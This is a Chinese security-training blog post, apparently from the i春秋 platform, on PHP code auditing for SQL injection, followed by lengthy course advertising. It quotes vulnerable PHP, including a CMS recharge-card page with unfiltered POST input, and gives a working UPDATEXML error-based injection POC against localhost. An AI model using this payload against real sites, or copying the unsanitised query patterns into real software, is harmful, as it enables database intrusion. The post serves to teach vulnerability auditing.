vlambda博客
学习文章列表

【Web安全】几行代码轻松搞定SQL注入


进入正文前,先插播一条内容:


【Web安全】几行代码轻松搞定SQL注入


距离福袋活动(ichunqiu.com/2019newterm)结束仅剩1天,活动结束优享会员、热门课程等立即恢复原价,还没参与的小伙伴请抓紧抢福袋,福袋限时限量,手慢无!


【Web安全】几行代码轻松搞定SQL注入


快速抢购通道

【Web安全】几行代码轻松搞定SQL注入

ichunqiu.com/2019newterm

(仅限PC端体验)


【Web安全】几行代码轻松搞定SQL注入

1

进入正文



要想学好Web安全,有一个知识点一定绕不过,就是这个SQL注入。所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名、页面等请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。


具体来说,它是利用现有的应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞网站上的数据库,而不是按照设计者意图去执行SQL语句。


今天,i春秋与大家分享的是PHP代码审计之SQL注入篇,希望对大家的学习有所帮助。


下面是我们的注入文件:


【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入


首先我们看一下代码:


1
2
3
mysql_connect( 'localhost' , 'root' , 'root' );
mysql_select_db( 'test' );
mysql_query( "set names gbk" );


这是数据库配配置。


1
echo $id = $_GET [ "id" ];


大家可以看见这是直接输出这个GET的值。


1
$sql = "select * from book where id=$id" ;


然后这里直接进行SQL语句的:


1
( $row =mysql_query( $sql ))


这里直接进行查询SQL语句:


1
$rows =mysql_fetch_array( $row )


利用这一串代码直接取值


1
var_dump( $rows )


然后进行打印输出没有任何的过滤,所以利用简单的SQL注入语句就可以直接查询相关需要的信息。


【Web安全】几行代码轻松搞定SQL注入

现在我给大家找个案例演示一下:漏洞文件member/mypay.php(14-40行)


【Web安全】几行代码轻松搞定SQL注入


01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( empty ( $_SESSION [ 'duomi_user_id' ])){
     showMsg( "请先登录" , "login.php" );
     exit ();
}
elseif ( $dm == 'mypay' ){
     $key = $_POST [ 'cardkey' ];
     if ( $key == "" ){showMsg( "请输入充值卡号" , "-1" ); exit ;}
     $pwd = $_POST [ 'cardpwd' ];
     if ( $pwd == "" ){showMsg( "请输入充值卡密码" , "-1" ); exit ;}
     $sqlt = "SELECT * FROM duomi_card where ckey='$key'" ;
     $sqlt = "SELECT * FROM duomi_card where cpwd='$pwd'" ;
        $row1 = $dsql ->GetOne( $sqlt );
     if (! is_array ( $row1 ) OR $row1 [ 'status' ]<>0){
         showMsg( "充值卡信息有误" , "-1" ); exit ;
     } else {
         $uname = $_SESSION [ 'duomi_user_name' ];
         $points = $row1 [ 'climit' ];
         $dsql ->executeNoneQuery( "UPDATE duomi_card SET    usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'" );
         $dsql ->executeNoneQuery( "UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'" );
         $dsql ->executeNoneQuery( "UPDATE duomi_member SET points=points+$points WHERE username='$uname'" );
         showMsg( "恭喜!充值成功!" , "mypay.php" ); exit ;
     }
}
else
{


大家可以清楚看见此处的“cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 


构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行 

http://localhost/member/mypay.php?dm=mypay 

POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1


【Web安全】几行代码轻松搞定SQL注入


以上是今天分享的内容,大家看得过瘾吗?


其实Web安全包含的漏洞类型有很多,需要我们掌握的知识点又比较零散,学起来相对会吃力些,大家若想深入了解,可以选择Web安全的相关课程进行系统学习。


【Web安全】几行代码轻松搞定SQL注入


【Web安全】几行代码轻松搞定SQL注入

线上培训

【Web安全】几行代码轻松搞定SQL注入


线上培训课程优势学习时间灵活,随时随地都能学习,还可以反复看课,学习过程中的疑惑可随时请教,少走很多弯路。


【Web安全】几行代码轻松搞定SQL注入

提高班

【Web安全】几行代码轻松搞定SQL注入

实战班

【Web安全】几行代码轻松搞定SQL注入

入门班


值此国庆节来临之际


i春秋Web安全线上培训课程超值钜惠


10月1日—7日


通通七折钜惠


【Web安全】几行代码轻松搞定SQL注入


课程详情

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入


【Web安全】几行代码轻松搞定SQL注入


【Web安全】几行代码轻松搞定SQL注入

线下面授

【Web安全】几行代码轻松搞定SQL注入


【Web安全】几行代码轻松搞定SQL注入

i春秋渗透测试工程师第四期广州线下就业班火热报名中,想要参加10月份学习的童鞋们,请速来报名!


为了保证课程质量,所有班次都是小班教学,每班仅限30人,名额有限,报满即止!


快速报名通道

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入


现在报名即可参加开学季拼团活动3人即可成团参与优惠,团内人数越多,优惠力度越大。


优惠详情咨询谢老师:18513200565。


毕业证书

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入

已入职的学员


i春秋是国内知名的网络安全培训机构,在i春秋学院参训学员将统一人才管理,并有机会入职国内知名安全企业。


【Web安全】几行代码轻松搞定SQL注入


企业涵盖国内一线主流安全企业将近200家,包括启明星辰、绿盟科技、天融信、360、蚂蚁金服、国美电器、兴业银行、百度等知名一线安全企业。


【Web安全】几行代码轻松搞定SQL注入


面向人群

在校学生、IT从业者、毕业生、找工作人群、对Web安全感兴趣人群、面临转行人员。


报名条件

计算机基础及相关计算机专业


学习时间


线下就业培训4个月,周一至周五早9-晚17点授课,每天不少于6学时。


课程目标


学完后,你将掌握漏洞原理,熟悉Web漏洞查找、利用、修复加固,掌握内网渗透实战技术;具备独立完成项目实战的能力。


课程介绍


渗透测试就业班培训课程由i春秋教研组结合众多安全企业需求制定的网络攻防课程。培养方式从理论基础+线上实验环境+CTF比赛+企业虚拟靶场环境,全方位立体化教学来打造全新的职业培训体验。


课程优势


【Web安全】几行代码轻松搞定SQL注入 平台


专业的线上、线下实验环境、SRC挖洞、CTF、AWD、综合实战靶场平台。


提供实战项目教学,模拟靶场渗透演练,提升实战技能。


【Web安全】几行代码轻松搞定SQL注入 师资


双师模式促学机制,线上、线下实战经验丰富的专业授课讲师。


双1+2+3模式以集中化的授课模式,高素质讲师授课,预留课余答题时间。


每班配备线上助教负责全班学生的制度管理,基础问题解答,作业批改及考试服务。


课程环境


四个月的脱产学习,你将学会渗透测试、漏洞挖掘、漏洞利用、漏洞修复、代码审计、安全脚本编写、SRC挖洞、CTF比赛、综合实验靶场练习等内容。


【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入

认真听讲的同学们


课后生活


四个月的脱产学习会很枯燥吗?


当然不,告别“鸭式”教学,倡导劳逸结合,课后生活更加丰富多彩,搭配各种零食和饮料,嗨并快乐着!


【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入


开学第一天,还有好玩的开学典礼和破冰游戏。


【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入


考核证书


课程学完后可以报考:


【Web安全】几行代码轻松搞定SQL注入

CISAW-Web安全证书颁发机构中国网络安全审查技术与认证中心


【Web安全】几行代码轻松搞定SQL注入

中国信息安全测评中心CISP-PTE认证


在目前可以通过考试获得的国家认证证书中,CISP-PTE(渗透测试工程师)证书的含金量是最高的。


开班典礼


【Web安全】几行代码轻松搞定SQL注入

渗透测试工程师线下就业班成都站开班典礼


【Web安全】几行代码轻松搞定SQL注入

渗透测试工程师线下就业班北京站开班典礼


通过以上内容的介绍,如果还有其他疑问,欢迎大家前来咨询,我们会有更专业的老师为你讲解,给你答疑解惑。


咨询快速入口

【Web安全】几行代码轻松搞定SQL注入

【Web安全】几行代码轻松搞定SQL注入



【Web安全】几行代码轻松搞定SQL注入

End


热门回顾

【Web安全】几行代码轻松搞定SQL注入

/十一

【Web安全】几行代码轻松搞定SQL注入

/热点


【Web安全】几行代码轻松搞定SQL注入

前沿的网络安全技术

简单易懂的实用工具

紧张刺激的安全竞赛

还有网络安全大讲堂

更多技能等你来解锁